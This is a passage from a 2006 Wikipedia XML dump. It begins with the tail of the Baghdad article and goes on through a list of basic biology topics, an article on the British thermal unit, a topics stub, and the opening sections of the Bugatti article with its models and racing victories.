*[http://memory.loc.gov/cgi-bin/map_item.pl?style=plnews&amp;data=/gmtemp/news/ni000001.sid&amp;title=Baghdad,+2003 Interactive map] 
*[http://countrystudies.us/iraq/42.htm Iraq - Urban Society] 
*[http://archnet.org/library/sites/one-site.tcl?site_id=7592 Description of the original layout of Baghdad]

[[Category:Baghdad|Baghdad]]
[[Category:Capitals in Asia]]
[[Category:Cities along the Silk Road]]
[[Category:Cities and towns in Iraq]]

&lt;!-- The below are interlanguage links. --&gt;

[[ar:بغداد]]
[[bg:Багдад]]
[[bs:Bagdad]]
[[ca:Bagdad]]
[[cs:Bagdád]]
[[da:Bagdad]]
[[de:Bagdad]]
[[es:Bagdad]]
[[eo:Bagdado]]
[[fa:بغداد]]
[[fr:Bagdad]]
[[ko:바그다드]]
[[hr:Bagdad]]
[[io:Bagdad]]
[[id:Bagdad]]
[[it:Baghdad]]
[[he:בגדאד]]
[[ku:Bexda]]
[[la:Bagdatum]]
[[lt:Bagdadas]]
[[hu:Bagdad]]
[[mr:बगदाद]]
[[nl:Bagdad]]
[[nds:Bagdad]]
[[ja:バグダード]]
[[no:Bagdad]]
[[pl:Bagdad]]
[[pt:Bagdá]]
[[ro:Bagdad]]
[[ru:Багдад]]
[[sk:Bagdad]]
[[sr:Багдад]]
[[fi:Bagdad]]
[[sv:Bagdad]]
[[zh:巴格达]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic biological topics</title>
    <id>4493</id>
    <revision>
      <id>40792761</id>
      <timestamp>2006-02-23T01:24:18Z</timestamp>
      <contributor>
        <username>Moe Epsilon</username>
        <id>327589</id>
      </contributor>
      <comment>disambiguation</comment>
      <text xml:space="preserve">[[ar:قائمة المواضيع الأساسية في علم الأحياء]]
[[zh:&amp;#29983;&amp;#29289;&amp;#22522;&amp;#26412;&amp;#20027;&amp;#39064;&amp;#21015;&amp;#34920;]]

'''See [[List of biology topics]] for the complete alphabetical list of Wikipedia articles addressing topics in biology.''' Below is a structured list of only the basic topics.  Please see [[the most basic encyclopedia article topics]] for general instructions on constructing this list, and consult [[complete list of encyclopedia topics]].

'''Structured list :'''

== Ecology &amp; Evolution ==

*'''[[Life]]''': [[origin of life]] -- [[Miller-Urey experiment]]

*'''[[Ecology]]''': 
**[[Autecology]]: [[autotroph]] -- [[heterotroph]] -- [[acclimatization]] -- [[endotherm]] -- [[ectotherm]] -- [[hibernation]] -- [[homeostasis]] -- [[behavior]] -- [[circadian rhythm]]
**[[Population ecology]]: [[population]] -- [[competition]] -- [[mating]] -- [[biological dispersal]] -- [[endemic (ecology)|endemism]] -- [[niche]] -- [[growth curve]] -- [[carrying capacity]]
**[[Community ecology]]: [[community]] -- [[keystone species]] -- [[mimicry]] -- [[symbiosis]] -- [[pollination]] -- [[mutualism]] -- [[commensalism]] -- [[parasitism]] -- [[predation]] -- [[invasive species]] -- [[environmental heterogeneity]] -- [[edge effect]]
**[[Ecosystems]]: [[biodiversity]] -- [[biome]] -- [[habitat (ecology)|habitat]] -- [[plankton]] -- [[thermocline]] -- [[carbon cycle]] -- [[water cycle]] -- [[nitrogen cycle]] -- [[food web]] -- [[trophic level]] -- [[saprobe]] -- [[decomposition]]

*'''[[Evolutionary biology]]''' ([[evolution]])
**[[Microevolution]]:  [[species]] -- [[speciation]] -- [[adaptation]] -- [[selection]] -- [[natural selection]] -- [[directional selection]] -- [[sexual selection]] -- [[genetic drift]] -- [[sexual reproduction]] -- [[asexual reproduction]] -- [[colony]] --  [[allele frequency]] -- [[neutral theory of molecular evolution]] -- [[population genetics]] -- [[Hardy-Weinberg principle]]
**[[Macroevolution]]: [[adaptive radiation]] -- [[convergent evolution]] -- [[extinction]] -- [[mass extinction]] -- [[fossil]] -- [[taphonomy]] -- [[geologic time]] -- [[plate tectonics]] -- [[continental drift]] -- [[vicariance]] -- [[Gondwana]] -- [[Pangaea]] -- [[endosymbiosis]]
**[[Systematics]]: [[taxon]] -- [[taxonomy]] -- [[scientific classification]] -- [[phylogeny]] -- [[evolutionary tree]] -- [[cladistics]] -- [[synapomorphy]] -- [[homology]] -- [[molecular clock]]

== Organismal biology ==

*'''Groups of living [[organism]]s'''
**[[Virus|viruses]] : [[DNA virus]]es -- [[RNA virus]]es -- [[retrovirus]]es
**'''Single-cell organisms''':
***[[prokaryote]]s : [[microbe]] -- [[bacterium|bacteria]] -- [[archaebacteria]]  -- [[eubacteria]] 
***[[eukaryote]]s: [[fungi]] -- [[algae]] -- [[protozoa]] --  [[protista]]  
**'''Multicellular organisms''':
***[[plantae]] -- [[plant]]s -- [[bryophyte]]s -- [[pteridophyte]]s -- [[seed plant]]s
***[[animal|animalia]] --  [[animal]]s -- [[metazoa]] -- [[insect]]s -- [[mollusc]]s -- [[vertebrate]]s
***[[fungi]] -- [[lichen]] -- [[mycorrhizae]]

*'''[[Developmental biology]] ''': [[gamete]] -- [[spermatid]] -- [[ovum]] -- [[zygote]] -- [[embryo]] -- [[cellular differentiation]] -- [[morphogenesis]] --[[homeobox]]
**Animal development: [[stem cell]] -- [[blastula]] -- [[gastrula]] -- [[egg (biology)]] -- [[fetus]] -- [[placenta]]
**Plant development: [[seed]] -- [[cotyledon]] -- [[meristem]] -- [[apical meristem]] -- [[vascular cambium]] -- [[cork cambium]]

*'''[[Morphology (biology)|Morphology]], [[Anatomy]], &amp; [[Physiology]]''':
**Techniques: [[electrophysiology]] -- [[electron microscopy]]
**[[biological tissue|tissue]]s -- [[organ (anatomy)|organ]] -- [[senescence]]
**Plant systems: [[root]] -- [[shoot]] -- [[plant stem|stem]] -- [[leaf]] -- [[flower]]
***[[vascular tissue]] -- [[Casparian strip]] -- [[turgor pressure]] -- [[xylem]] -- [[phloem]] -- [[transpiration]] -- [[wood]]
***[[alternation of generations]] -- [[gametophyte]] -- [[antheridium]] -- [[archegonium]] -- [[sporophyte]] -- [[spore]] -- [[sporangium]]
***[[tropism]] -- [[taxis]]
**Animal systems: [[skin cell]]
***[[skeleton]] -- [[bone]] -- [[cartilage]] -- [[joint]] -- [[muscle]] -- [[tendon]] -- [[actin]] -- [[myosin]] -- [[reflex]]
***[[circulatory system]] -- [[Respiration (physiology)|respiration]] -- [[lung]] -- [[heart]] -- [[artery]] -- [[vein]] -- [[capillary]] -- [[blood]] -- [[blood cell]]
***[[digestive system]] -- [[stomach]] -- [[intestine]] -- [[liver]] -- [[nutrition]] -- [[primary nutritional groups]] [[metabolism]] -- [[kidney]] -- [[excretion]]
***[[nervous system]]: [[limbic system]] -- [[vestibular system]] -- [[neuron]] -- [[axon]] -- [[dendrite]] -- [[brain]] -- [[eye]] -- [[Visual perception|vision]] -- [[audition]] -- [[proprioception]] -- [[olfaction]] -- [[memory]] 
*** [[nerve]] signaling: [[action potential]] -- [[signal transduction]] -- [[synapse]] -- [[receptor]]
***[[endocrine system]] -- [[hormone]]
***[[reproductive system]] -- [[testes]] -- [[ovary]] -- [[pregnancy]]

*'''Medicine''':
**[[Disease]]s: [[cancer]] -- [[diabetes]] -- [[obesity]] -- [[hereditary disease]] -- [[communicable disease]]
**[[immune system]]: [[antibody]] -- [[Host (biology)|host]] -- [[vaccine]] -- [[immune cell]] -- [[AIDS]] -- [[T-cell]] -- [[leucocyte]]
**[[medication|Drugs]]: [[antibiotic]] -- [[barbiturate]] -- [[SSRI]]
**Techniques: [[MRI]] -- [[Computed axial tomography]] -- [[blood count]]

== Cell &amp; Molecular biology ==

*'''[[Cell biology]]''': the [[cell (biology)|cell]]
** Techniques: [[culture]] -- [[microscope]] -- [[SEM]] -- [[TEM]]
**cell components: 
***[[organelle]]s: [[Golgi apparatus]] -- [[cell nucleus|nucleus]] -- [[cytoplasm]] -- [[vacuole]] -- [[vesicle (biology)|vesicle]] -- [[lysosome]] -- [[peroxisome]] -- [[mitochondrion]] -- [[plastid]] -- [[chloroplast]]
***[[biological membrane|membranes]]: [[plasma membrane]] -- [[endomembrane system]] -- [[endoplasmic reticulum]] -- [[mitochondrial membrane]] -- [[chloroplast membrane]]
*** Other subcellular features: [[cell wall]] -- [[pseudopod]] -- [[cytoskeleton]] -- [[mitotic spindle]] -- [[flagellum]] -- [[cilium]]
**cell processes: 
***[[diffusion]] -- [[osmosis]] -- [[isotonic]] -- [[active transport]] -- [[phagocytosis]]
***energy pathways: [[fermentation]] -- [[glycolysis]] -- [[cellular respiration]] -- [[citric acid cycle]] -- [[photosynthesis]] -- [[Calvin cycle]]
***[[protein biosynthesis]] -- [[ribosome]]s
***cellular reproduction: [[cytokinesis]] -- [[centromere]] -- [[meiosis]]
***nuclear reproduction: [[mitosis]] -- [[interphase]] -- [[prophase]] -- [[metaphase]] -- [[anaphase]] -- [[telophase]]
***[[programmed cell death]] -- [[apoptosis]] -- [[senescence|cell senescence]]

*'''[[Biochemistry]] ''': 
**[[Biomolecule]]s: 
***Small: [[amino acid]]s -- [[Adenosine triphosphate|Adenosine triphosphate (ATP)]] -- [[fat]]s -- [[lipid]]s -- [[Petroleum|oil]] -- [[phospholipid]] -- [[prion]] -- [[sugar]] -- [[vitamin]]s -- [[neurotransmitter]] -- [[wax]] 
***Medium-sized:
****[[pigment]]s: [[chlorophyll]] -- [[carotenoid]] -- [[xanthophyll]] -- [[melanin]]
***Biopolymers/[[macromolecules]]
****[[protein]]s: [[primary structure]] -- [[secondary structure]] -- [[tertiary structure]] -- [[conformation]] -- [[native state]] -- [[protein folding]] -- [[enzyme]] -- [[receptor]] -- [[transmembrane receptor]] -- [[ion channel]] -- [[membrane transporter]]-- [[collagen]] -- [[silk]]
****[[DNA]] -- [[RNA]] 
****[[polysaccharide]]: [[cellulose]] -- [[carbohydrate]] -- [[chitin]] -- [[glycogen]] -- [[starch]] 
**Biochemical mechanisms: [[proteolysis]] -- [[cooperativity]]
**[[Biochemical techniques|Techniques]]: [[electrophoresis]] -- [[His tag]] --[[affinity chromatography]] -- [[x-ray diffraction]] -- [[Proteomics]] -- [[mass spectrometry]]

*'''[[Molecular biology]]''': 
**genetic structure: [[DNA]] -- [[DNA replication]] -- [[nucleosome]] -- [[genetic code]] -- [[codon]] -- [[transcription factor]] -- [[transcription]] -- [[translation]] -- [[RNA]] -- [[histone]] -- [[telomere]]
**[[gene expression]] -- [[heterochromatin]] -- [[promoter]] -- [[enhancer]] -- [[operon]]
**[[mutation]] -- [[point mutation]] -- [[crossover]] -- [[recombination]] --[[plasmid]] -- [[transposon]]
**[[molecular genetics]]: [[DNA fingerprinting]] -- [[genetic fingerprint]] -- [[microsatellite]] -- [[gene knockout]]-- [[imprinting]] -- [[RNA interference]]
**[[Genomics]]: [[computational biology]] -- [[bioinformatics]]
**Molecular Techniques: [[gel electrophoresis]] -- [[Transformation (genetics)|transformation]] -- [[PCR]] -- [[PCR mutagenesis]] -- [[primer (molecular biology)|primer]] -- [[chromosome walking]] -- [[RFLP]] -- [[restriction enzyme]] -- [[sequencing]] -- [[shotgun sequencing]] -- [[cloning]] -- [[culture]] -- [[DNA microarray]] 

*'''[[Genetics]]''' ([[classical genetics]]) : 
**[[heredity]] -- [[Mendelian inheritance]] -- [[gene]] -- [[locus]] -- [[Trait (biological)|trait]] -- [[allele]] -- [[polymorphism (biology)|polymorphism]] -- [[homozygote]] -- [[heterozygote]] -- [[hybrid]] -- [[hybridization]] -- [[dihybrid cross]] -- [[Punnett square]]
**[[genotype-phenotype distinction]] -- [[genotype]] -- [[phenotype]] -- [[dominant gene]] -- [[recessive gene]]
**[[genetic interactions]] -- [[segregation]] -- [[genetic mosaic]] -- [[maternal effect]] -- [[penetrance]] -- [[complementation (genetics)|complementation]] -- [[suppression]] -- [[epistasis]] -- [[genetic linkage]]
**chromosomal effects: [[chromosome]] -- [[haploid]] -- [[diploid]] -- [[polyploidy]] -- [[dosage effect]] -- [[inbreeding]]
**[[Model organism]]s: [[Drosophila melanogaster|Drosophila]] -- [[Arabidopsis thaliana|Arabidopsis]] -- [[Caenorhabitis elegans]] -- [[mouse]]  -- [[Saccharomyces cerevisiae]] -- [[Escherichia coli]] -- [[Lambda phage]] -- [[Xenopus]] 
**Techniques: [[genetic screen]] -- [[paternity test]] -- [[linkage map]] -- [[genetic map]]

== Biological disciplines ==

*'''Biology divisions''' : [[Acarology]] -- [[Anatomy]] -- [[Arachnology]] -- [[Biochemistry]] -- [[Bioinformatics]] -- [[Biomechanics]] -- [[Bionomics]] -- [[Biophysics]] -- [[Biotechnology]] -- [[Botany]] -- [[Cell biology]] -- [[Ecology]] -- [[Entomology]] -- [[Evolution]] -- [[Genetics]] -- [[Gerontology]] -- [[Herpetology]] -- [[Histology]] -- [[Ichnology]] -- [[Ichthyology]] -- [[Immunology]] -- [[Limnology]] -- [[Marine biology]] -- [[Microbiology]] -- [[Molecular biology]] -- [[Mycology]] -- [[Myrmecology]] -- [[Neurobiology]] -- [[Ornithology]] -- [[Paleontology]] -- [[Palynology]] -- [[Parasitology]] -- [[Photobiology]] -- [[Phycology]] -- [[Physiology]] -- [[Plant physiology]] -- [[Biological psychology]]-- [[Radiobiology]] -- [[Sociobiology]] -- [[Structural biology]] -- [[Taxonomy]] -- [[Virology]] -- [[Zoology]]

*'''[[Biologist]]s''': [[Charles Robert Darwin]] -- [[Alfred Russel Wallace]] -- [[Jean-Baptiste Lamarck]] -- [[Sir Charles Lyell]] -- [[Alfred Wegener]] --  [[Alexander Fleming]] -- [[Andrew Huxley]] -- [[Robert Koch]] -- [[Konrad Lorenz]] -- [[Ernst Haeckel]] -- [[Theodor Bilharz]] -- [[Marcello Malpighi]] -- [[Antoni van Leeuwenhoek]] -- [[Konrad Lorenz]] -- [[Thomas Malthus]] -- [[Edward Jenner]] -- [[Carolus Linnaeus]] -- [[Sewall Wright]] -- [[Louis Pasteur]] -- [[Gregor Mendel]] -- [[Barbara McClintock]] -- [[James D. Watson]] -- [[Francis Crick]] -- [[Kary Mullis]] -- [[Craig Venter]] -- [[Steven Jay Gould]] -- [[Lynn Margulis]] -- [[Carl Woese]] -- [[Jane Goodall]]

[[Category:Biology| ]]
[[Category:Biology lists| ]]
[[Category:Lists of basic topics|Biology]]
[[Category:Lists|Biology]]</text>
    </revision>
  </page>
  <page>
    <title>British thermal unit</title>
    <id>4495</id>
    <revision>
      <id>39140241</id>
      <timestamp>2006-02-10T23:40:33Z</timestamp>
      <contributor>
        <ip>62.163.234.68</ip>
      </contributor>
      <comment>+ interwiki nl</comment>
      <text xml:space="preserve">The '''British thermal unit''' (BTU or Btu) is a unit of [[energy]] used in the [[United States]]. It is also still occasionally encountered in the [[United Kingdom|UK]], in the context of older heating and cooling systems. In most other areas, it has been replaced by the [[SI]] unit of energy, the [[joule]] (J).

A Btu is defined as the amount of heat required to raise the temperature of one [[pound (weight)|pound]] [[avoirdupois]] of [[water]] by one degree [[Fahrenheit]].  143 Btu is required to melt a pound of ice.  As is the case with the [[calorie]], several different definitions of the Btu exist, which are based on different water temperatures and therefore vary by about 0.5%:

{| class=wikitable
!width=&quot;100&quot;| Name !!width=&quot;140&quot;| Value (J) !! Notes
|-
| 39 °F || &amp;#8776; 1059.67 || Uses the [[calorie]] value of water at its maximum density (4 °C)
|-
| Mean || &amp;#8776; 1055.87 || Uses a calorie averaged over water temperatures 0 °C to 100 °C
|-
| IT || &amp;#8801; 1055.05585262 || The most widespread Btu, uses the International [Steam] Table (IT) calorie, which was defined by the ''Fifth International Conference on the Properties of Steam'' ([[London]], July [[1956]]) to be exactly 4.1868 J
|-
| [[International Organization for Standardization|ISO]] || &amp;#8801; 1055.056 || [[International standard]] [[ISO 31-4]] on ''Quantities and units – Part 4: Heat'', Appendix A. This value uses the IT calorie and is rounded to a realistic accuracy
&lt;!--- |-
| (un-named) || &amp;#8801; 1055.05585257348 || A definition in UK law [http://www.opsi.gov.uk/si/si1995/Uksi_19951804_en_2.htm The Units of Measurement Regulations 1995]
See [[Talk:British thermal unit]] for an explanation of how this overly-precise but incorrectly rounded value came about
---&gt;|-
| 59 °F || &amp;#8801; 1054.804 || Chiefly [[United States|American]]. Uses the 15 °C calorie, itself defined as exactly 4.1855 J (''Comité international'' 1950; PV, 1950, 22, 79-80)
|-
| 60 °F || &amp;#8776; 1054.68 || Chiefly [[Canada|Canadian]]
|-
| 63 °F || &amp;#8776; 1054.6 || Possibly apocryphal
|-
| Thermochemical || &amp;#8801; 1054.35026444 || Uses the &quot;thermochemical [[calorie]]&quot; of exactly 4.184 J
|}

In the United States, the BTU is often used to describe the heat value of fuels, and the BTU per hour (often confusingly abbreviated to BTU) measures the heating and cooling power of a system (such as a barbecue grill).

== Conversions ==
One BTU is approximately:

* 252–253 cal ([[calorie]]s, small)
* 0.252–0.253 kcal (kilocalories)
* 778–782 ft&amp;middot;lbf ([[foot-pound|foot-pounds-force]])
* 1054–1060 [[joule]]s
* In natural gas, by convention 1 MM Btu (1 million Btu, sometimes written &quot;mm BTU&quot;) = 1.054615 GJ. Conversely, 1 gigajoule is equivalent to 26.8 m&lt;sup&gt;3&lt;/sup&gt; of natural gas at defined temperature and pressure.

== Associated units ==
The BTU per hour (BTU/h) is the unit of power most commonly associated with the BTU.

* 1 [[horsepower]] is approximately 2540 BTU/h
* 1 [[watt]] is approximately 3.4 BTU/h
* 1000 BTU/h is approximately 293 W

A unit called the ''quad'' (short for [[quadrillion]]) is defined as 10&lt;sup&gt;15&lt;/sup&gt; BTU, which is about 1.055&amp;times;10&lt;sup&gt;18&lt;/sup&gt; joules, and the ''[[therm]]'' is defined in the United States and European Union as 100,000 BTU &amp;ndash;but the U.S. uses the BTU&lt;sub&gt;59 °F&lt;/sub&gt; whilst the EU uses the BTU&lt;sub&gt;IT&lt;/sub&gt;.

The BTU should not be confused with the [[Board of Trade Unit]] (B.O.T.U.), which is a much larger quantity of energy.

== See also ==
* [[Conversion of units]]
* [[Metrication]]

==External links==
*[http://www.opsi.gov.uk/si/si1995/Uksi_19951804_en_2.htm The Units of Measurement Regulations 1995]

[[Category:Units of energy]]
[[Category:Imperial units]]
[[Category:Customary units in the United States]]

[[de:British thermal unit]]
[[es:BTU]]
[[fr:British thermal unit]]
[[it:British thermal unit]]
[[ja:英熱量]]
[[nl:British thermal unit]]
[[sv:Btu]]
[[tr:BTU]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Business and Industry basic topics</title>
    <id>4496</id>
    <revision>
      <id>15902762</id>
      <timestamp>2005-01-03T19:52:33Z</timestamp>
      <contributor>
        <username>Sortior</username>
        <id>99667</id>
      </contributor>
      <minor />
      <text xml:space="preserve">These should be the most basic topics in the field--topics about which we'd like to have articles soon.  Please see [[the most basic encyclopedia article topics]] for general instructions on constructing this list, and consult [[complete list of encyclopedia topics]].
[[Category:Wikipedia missing topics]]</text>
    </revision>
  </page>
  <page>
    <title>Bugatti</title>
    <id>4497</id>
    <revision>
      <id>42003501</id>
      <timestamp>2006-03-03T03:57:23Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/155.143.23.250|155.143.23.250]] ([[User talk:155.143.23.250|talk]]) to last version by OrphanBot</comment>
      <text xml:space="preserve">&lt;!-- Unsourced image removed: [[Image:BugattiInsignia.png|right|The Bugatti logo]] --&gt;
'''Bugatti''' is one of the most celebrated [[marque]]s of [[automobile]] and one of the most exclusive French car producers of all time.  The company is legendary for producing some of the best [[sports car|sports cars]] in the world.  The original Bugatti failed with the advent of [[World War II]], but the name has been resurrected twice, most recently under the [[Volkswagen Group]].

==Under Ettore Bugatti==
[[Image:BugattiT35B.JPG|thumb|right|250px|[[Bugatti Type 35|Type 35B]].]]

Although founder [[Ettore Bugatti]] was born in Italy, the automobile company that bears his name was located in [[Molsheim]], in the then-German [[Alsace]] region (which went to France in [[1919]]). The company was known for its advanced engineering in its premium road cars and its success in early [[Grand Prix motor racing]], winning the first ever [[Monaco Grand Prix]]. The company's success culminated with driver [[Jean-Pierre Wimille]] winning the [[24 hours of Le Mans]] twice (in [[1937]] with [[Robert Benoist]] and [[1939]] with [[Pierre Veyron]]). 

Bugatti's cars were as much works of art as they were mechanical creations, with hand-turned finishes on the engine blocks, lightening holes in every conceivable location, and safety wires threaded through almost every fastener in intricately laced patterns. He regarded his arch competitor, Bentley, as &quot;the world's fastest trucks&quot; for turning their attentions more towards durability. Bugatti's disdain for his customers is as legendary as his devotion to his creations; in one apocryphal incident, upon greeting an unhappy customer returning to the factory with &quot;What, you again?&quot;, he replied to the subsequent tale of automotive mechanical woe with &quot;Well, see that it does not happen again!&quot; and strode away.

From the shapes of his engines, he is regarded a [[Cubism|Cubist]] and he once went to a meeting of Cubists.

===Models===
[[Image:RL 1938 Bugatti 57SC Atlantic 34 2.jpg|right|thumb|250px|1938 [[Bugatti Type 57|Type 57SC Atlantic]] from the [[Ralph Lauren]] collection]]
[[Image:1933 Bugatti Type 59 Grand Prix 34 rear.jpg|right|thumb|250px|1933 [[Bugatti Type 59|Type 59]] [[Grand Prix motor racing|Grand Prix]] racer from the [[Ralph Lauren]] collection]]
[[Image:JeanBugattiandRoyale2.jpg|right|thumb|250px|[[Jean Bugatti]] and his 1932 &quot;[[Bugatti Type 41|Royale]]&quot;]]

Only a few models of each of Ettore Bugatti's vehicles were ever produced, the most famous being the [[Bugatti Type 35|Type 35 Grand Prix]] cars, the huge &quot;[[Bugatti Royale|Royale]]&quot;, the flowing [[Bugatti Type 57|Type 57 &quot;Atlantic&quot;]], and the [[Bugatti Type 55|Type 55]] sports car.

Throughout the production run of approximately 7,900 cars, each Bugatti model was designated with the prefix T for Type, which referred to the chassis and drive train.

====Contract designs====
** [[Prinetti &amp; Stucchi]]
*** 1898 [[Bugatti Type 1#Type 1|Type 1]]
** [[Dietrich-Bugatti]]
*** 1902-1904 [[Dietrich-Bugatti#Type 3 and 4|Type 3/4]]
*** 1903 [[Dietrich-Bugatti#Type 5, 6, and 7|Type 5/Hermes/6/7]]
** [[Deutz Gasmotoren Fabrik]]
*** 1907 [[Bugatti Type 8#Type 8|Type 8]]/[[Bugatti Type 8#Type 9|9]]
** [[Peugeot]]
*** 1913-1916 [[Peugeot Bébé#Type 19|Type 19 &quot;Bébé&quot;]]
====Prototypes====
** 1900–1901 [[Bugatti Type 2#Type 2|Type 2]]
** 1903 [[Bugatti Type 5#Type 5|Type 5]]
** 1908 [[Bugatti Type 13#Type 10|Type 10]]
** 1925 [[Bugatti Prototypes#Type 36|Type 36]]
** 1929–1930 [[Bugatti Prototypes#Type 45|Type 45/47]]
** [[Bugatti Prototypes#Type 56|Type 56]] ([[electric car]])
** 1939 [[Bugatti Prototypes#Type 64|Type 64]] (coupe)
** 1943/1947 [[Bugatti Prototypes#Type 73C|Type 73C]]
====Racing cars====
** 1910–1914 [[Bugatti Type 13#Type 13|Type 13]]/[[Bugatti Type 13#15|Type 15]]/[[Bugatti Type 13#Type 17|17]]/[[Bugatti Type 13#Type 22|22]]
** 1922–1926 [[Bugatti Type 30#Type 29|Type 29]]
** 1923 [[Bugatti Type 32|Type 32 &quot;Tank&quot;]]
** 1924-1930 [[Bugatti Type 35#Type 35|Type 35]]/[[Bugatti Type 35#Type 35A|35A]]/[[Bugatti Type 35#Type 35B|35B]]/[[Bugatti Type 35#Type 35T|35T]]/[[Bugatti Type 35#Type 35C|35C]]/[[Bugatti Type 35#Type 37|37]]/[[Bugatti Type 35#Type 39|39]]
** 1927-1930 [[Bugatti Type 52|Type 52]] ([[electric vehicle|electric racer]] for children)
** 1936–1939 [[Bugatti Type 57#Type 57G|Type 57G &quot;Tank&quot;]]
** 1937–1939 [[Bugatti Type 50#Type 50 B|Type 50B]]
** 1931–1936 [[Bugatti Type 53|Type 53]]
** 1931–1936 [[Bugatti Type 51#Type 51/51A|Type 51/51A]]/[[Bugatti Type 51#Type 54 GP|54GP]]/[[Bugatti Type 51#Type 59|59]]
** 1955–1956 [[Bugatti Prototypes#Type 251|Type 251]]
====Road cars====
** 1912–1914 [[Bugatti Type 18#Type 18|Type 18 &quot;Garros&quot;]]
** 1913–1914 [[Bugatti Type 13#Type 23|Type 23]]/[[Bugatti Type 13#Type 23 Brescia Tourer|Brescia Tourer]] (roadster)
** 1922–1934 [[Bugatti Type 30#Type 30|Type 30]]/[[Bugatti Type 49#Type 38|38]]/[[Bugatti Type 49#Type 40|40]]/[[Bugatti Type 49#Type 43|43]]/[[Bugatti Type 49#Type 44|44]]/[[Bugatti Type 49#Type 49|49]] (touring car)
** 1927–1933 [[Bugatti Royale#Type 41|Type 41 &quot;Royale&quot;]] (limousine)
** 1929–1939 [[Bugatti Type 46#Type 46|Type 46]]/[[Bugatti Type 46#Type 50|50]]/[[Bugatti Type 46#Type 50T|50T]] (touring car)
** 1932–1935 [[Bugatti Type 55#Type 55|Type 55]] (roadster)
** 1934–1940 [[Bugatti Type 57#Type 57|Type 57]]/[[Bugatti Type 57#Type 57S|57S]]/[[Bugatti Type 57#Type 57SC|Type 57SC]] (touring car)
** After [[World War II]], a 375 cc supercharged car was canceled when Ettore died.
** 1951-1956 [[Bugatti Type 101|Type 101]] (coupe)

===Racing Success===
&lt;!-- Unsourced image removed: [[Image:BugattiTank1923.jpg|right|thumb|250px|[[Bugatti Type 32|Type 32]] tank-bodied racers in 1923]] --&gt;

Bugatti cars were extremely successful in racing, with many thousands of victories in just a few decades. The little [[Bugatti Type 10]] swept the top four positions at its first race. The 1924 [[Bugatti Type 35]] is probably the most successful racing car of all time with over 2,000 wins. The company swept the [[Targa Florio]] for five years straight from 1925 through 1929. [[Louis Chiron]] held the most podiums in Bugatti cars, and the 21st Century Bugatti company remembered him with a [[Bugatti Chiron|concept car]] named in his honor. But it was the final racing success at [[24 hours of Le Mans|Le Mans]] that is most remembered&amp;mdash;[[Jean-Pierre Wimille]] and [[Pierre Veyron]] won the 1939 race with just one car and few resources.
&lt;br clear=all&gt;
{| class=&quot;wikitable&quot;
!Year
!Race
!Driver
!Car
|-
|1921
|[[Voiturettes Grand Prix]]
|[[Ernest Friderich]]
|
|-
|1925
|[[Targa Florio]]
|[[Meo Constantini]]
|[[Bugatti Type 35|Type 35]]
|-
|1926
|[[French Grand Prix]]
|[[Jules Goux]]
|Type 39 A
|-
|1926
|[[Italian Grand Prix]]
|[[Louis Charavel]]
|
|-
|1926
|[[Spanish Grand Prix]]
|[[Meo Constantini]]
|
|-
|1926
|[[Targa Florio]]
|[[Meo Constantini]]
|[[Bugatti Type 35|Type 35 T]]
|-
|1927
|[[Targa Florio]]
|[[Emilio Materassi]]
|[[Bugatti Type 35|Type 35 C]]
|-
|1928
|[[French Grand Prix]]
|[[William Grover-Williams]]
|[[Bugatti Type 35|Type 35 C]]
|-
|1928
|[[Italian Grand Prix]]
|[[Louis Chiron]]
|
|-
|1928
|[[Spanish Grand Prix]]
|[[Louis Chiron]]
|
|-
|1928
|[[Targa Florio]]
|[[Albert Divo]]
|[[Bugatti Type 35|Type 35 B]]
|-
|1929
|[[French Grand Prix]]
|[[William Grover-Williams]]
|[[Bugatti Type 35|Type 35 B]]
|-
|1929
|[[German Grand Prix]]
|[[Louis Chiron]]
|
|-
|1929
|[[Spanish Grand Prix]]
|[[Louis Chiron]]
|
|-
|1929
|[[Monaco Grand Prix]]
|[[William Grover-Williams]]
|
|-
|1929
|[[Targa Florio]]
|[[Albert Divo]]
|[[Bugatti Type 35|Type 35 C]]
|-
|1930
|[[Belgian Grand Prix]]
|[[Louis Chiron]]
|
|-
|1930
|[[Czechoslovakian Grand Prix]]
|[[Heinrich-Joachim von Morgen]] and [[Hermann zu Leiningen]]
|
|-
|1930
|[[French Grand Prix]]
|[[Philippe Etancelin]]
|[[Bugatti Type 35|Type 35 C]]
|-
|1930
|[[Monaco Grand Prix]]
|[[René Dreyfus]]
|
|-
|1931
|[[Belgian Grand Prix]]
|[[William Grover-Williams]] and [[Caberto Conelli]]
|
|-
|1931
|[[Czechoslovakian Grand Prix]]
|[[Louis Chiron]]
|
|-
|1931
|[[French Grand Prix]]
|[[Louis Chiron]] and [[Achille Varzi]]
|Type 51
|-
|1931
|[[Monaco Grand Prix]]
|[[Louis Chiron]]
|
|-
|1932
|[[Czechoslovakian Grand Prix]]
|[[Louis Chiron]]
|
|-
|1933
|[[Czechoslovakian Grand Prix]]
|[[Louis Chiron]]
|
|-
|1933
|[[Monaco Grand Prix]]
|[[Achille Varzi]]
|
|-
|1934
|[[Belgian Grand Prix]]
|[[René Dreyfus]]
|
|-
|1936
|[[French Grand Prix]]
|[[Jean-Pierre Wimille]] and [[Raymond Sommer]]
|[[Bugatti Type 57|Type 57 G]]
|-
|1937
|[[24 hours of Le Mans]]
|[[Jean-Pierre Wimille]] and [[Robert Benoist]]
|[[Bugatti Type 57|Type 57 G]]
|-
|1939
|[[24 hours of Le Mans]]
|[[Jean-Pierre Wimille]] and [[Pierre Veyron]]
|[[Bugatti Type 57|Type 57 C]]
|}

===The end===
Ettore Bugatti also designed a successful motorized railcar, the ''Autorail'', and an [[airplane]], but it never flew. His son, [[Jean Bugatti]], was killed on [[August 11]], [[1939]] at the age of 30, while testing a [[Bugatti Type 57#Type 57S Tank|Type 57 tank-bodied race car]] near the [[Molsheim]] factory. After that, the company's fortunes began to decline.  World War II ruined the factory in Molsheim, and the company lost control of the property.  During the war, Bugatti planned a new factory at Levallois in [[Paris]] and designed a series of new cars.  Ettore Bugatti died on [[August 21]], [[1947]].

The company attempted a comeback under [[Roland Bugatti]] in the mid-[[1950s]] with the [[MR layout|mid-engined]] [[Bugatti Prototypes#Type 251|Type 251]] race car.  Designed with help from famed [[Alfa Romeo]], [[Ferrari]], and [[Maserati]] designer [[Gioacchino Colombo]], the car failed to perform up to expectations and the company's attempts at automobile production were halted.

